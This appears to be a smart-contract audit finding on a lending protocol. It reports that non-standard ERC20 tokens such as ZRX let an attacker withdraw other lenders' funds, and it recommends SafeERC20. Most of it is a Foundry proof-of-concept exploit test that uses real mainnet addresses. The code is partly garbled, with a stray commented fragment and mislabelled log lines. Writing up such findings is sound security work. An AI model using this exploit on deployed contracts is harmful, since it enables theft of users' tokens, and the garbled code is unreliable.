Attackers can steal tokens from other lenders if lending token does not conform to ERC20 standard
Attackers can steal other peoples tokens.
The following PoC shows how an attacker can steal other Peoples tokens.
function test_WithdrawOtherPeoplesMoney() public {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
} */
ERC20 zrx = ERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
address zrxWhale = 0xBB846E9b5a61F9555D1ea9EddbEBCA3e58A85001;
vm.startPrank(zrxWhale);
zrx.approve(address(lender), type(uint256).max);
Pool memory p1 = Pool({
lender: zrxWhale,
loanToken: address(zrx),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 100*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p1);
vm.stopPrank();
(,,,,uint256 poolBalance1,,,,) = lender.pools(poolId);
console.log("Stored Lender pool Balance from attacker %d", poolBalance1);
console.log("Actual Lender pool Balance from attacker %d", zrx.balanceOf(address(lender)));
vm.startPrank(lender2);
assertEq(zrx.balanceOf(lender2), 0);
console.log("PRE ATTACK ATTACKER BALANCE: %d", zrx.balanceOf(address(lender2)));
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(zrx),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 100*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p2);
(,,,,uint256 poolBalance2,,,,) = lender.pools(poolId);
console.log("Stored Lender pool Balance from attacker %d", poolBalance1);
console.log("Stored Lender pool Balance from lender2 %d", poolBalance1);
console.log("Actual Lender pool Balance %d", zrx.balanceOf(address(lender)));
lender.removeFromPool(poolId, 100e18);
console.log("POSTATTACK ATTACKER BALANCE: %d", zrx.balanceOf(address(lender2)));
vm.stopPrank();
}
Use SafeERC20.